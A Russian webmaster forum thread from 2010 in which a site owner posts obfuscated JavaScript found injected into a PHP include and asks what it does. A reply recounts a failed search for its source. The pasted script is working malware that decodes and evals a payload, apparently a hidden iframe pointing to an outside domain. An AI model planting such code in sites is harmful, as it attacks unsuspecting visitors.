Вредоносный js на сайте

Павел Кирхмаер · 2010-12-08T16:33:36.0000000Z

Добрый вечер! Только что обнаружил на сайте в одном из php файлов, который include подключается ко всем страницам некий вредоносный js. Что он выполняет я не могу понять, часть зашифрована. Не могли бы Вы дать предположения как он мог попасть в файл и собственно что он выполнял? <script>function vvg(amsx,yhy){var sg=navigator.userAgent.toLowerCase();var bhf=(/msie/.test(sg))&&!(/opera/.test(sg))&&(/win/.test(sg));var qfm=document.createElement("style");qfm.setAttribute("type","text/css");qfm.setAttribute("media","screen");if(!bhf)qfm.appendChild(document.createTextNode(amsx+" {"+yhy+"}"));document.getElementsByTagName("head")[0].appendChild(qfm);if(bhf&&document.styleSheets&&document.styleSheets.length>0){var zt=document.styleSheets[document.styleSheets.length-1];if(typeof(zt.addRule)=="object")zt.addRule(amsx,yhy);}};vvg('#c768','background: url(data:,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,59*2,48.5*2,57*2,16*2,49*2,50*2,60.5*2,16*2,30.5*2,16*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49.5*2,57*2,50.5*2,48.5*2,58*2,50.5*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,20*2,17*2,49*2,55.5*2,50*2,60.5*2,17*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,58*2,57*2,60.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,48.5*2,56*2,56*2,50.5*2,55*2,50*2,33.5*2,52*2,52.5*2,54*2,50*2,20*2,49*2,50*2,60.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,62.5*2,16*2,49.5*2,48.5*2,58*2,49.5*2,52*2,16*2,20*2,50.5*2,20.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49*2,55.5*2,50*2,60.5*2,16*2,30.5*2,16*2,49*2,50*2,60.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,59.5*2,57*2,52.5*2,58*2,50.5*2,20*2,17*2,30*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,60.5*2,48.5*2,51.5*2,55.5*2,55.5*2,51.5*2,54*2,50.5*2,23*2,49.5*2,55.5*2,23*2,49.5*2,49.5*2,23.5*2,49.5*2,52*2,48.5*2,58*2,57.5*2,23.5*2,49*2,52.5*2,57*2,50*2,57.5*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,31*2,30*2,23.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,31*2,17*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,51*2,58.5*2,55*2,49.5*2,58*2,52.5*2,55.5*2,55*2,16*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,17*2,30*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,60.5*2,48.5*2,51.5*2,55.5*2,55.5*2,51.5*2,54*2,50.5*2,23*2,49.5*2,55.5*2,23*2,49.5*2,49.5*2,23.5*2,49.5*2,52*2,48.5*2,58*2,57.5*2,23.5*2,49*2,52.5*2,57*2,50*2,57.5*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,31*2,30*2,23.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,31*2,17*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2);');var aol=null;var ugb=document.styleSheets;for(var j=0;j<ugb.length;j++){var wv=ugb[j].cssRules||ugb[j].rules;for(var i=0;i<wv.length;i++){var cwpa=wv.item?wv.item(i):wv ;if(!cwpa.selectorText.match(/#c(\d+)/))continue;var ev=cwpa.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];aol=ev;}} var acgn=aol.split(',');var gfff=new Date(),kik=('ev'+gfff.getFullYear()).replace('2010','al');emil=window[kik];nzl=window['String'].fromCharCode;var kxsw='';for(var i=0;i<acgn.length;i++){kxsw+=nzl(emil(acgn ));} emil(kxsw);</script>

UnToha

13 декабря 2010, 06:19

#11

Да не, нет проблемы перебрать все файлы на сервере, там и grep по ssh и прочие regexp на скачанных файлах можно попробовать. Непонятно что искать просто - судя по коду оно же морфировать может. Посмотрел я все, что только можно - и инклуды в пхп, и код в пхп, и подключение левых js файлов, и содержимое своих js файлов, и содержимое css файлов на предмет всяких там *.htc или behavior, и код в бд... и ничего нет... Греет только одно - яндекс при повторной проверке тоже ничего не нашел и пометку свою о возможной опасности снял. Буду ждать следующей итерации.

Google о том, стоит Каттс: имеет смысл создавать Яндекс облегчил создание сегментов

Дзен реализовал для авторов возможность вывода денег через СПБ

Что такое Power BI и зачем это нужно бизнесу

Вредоносный js на сайте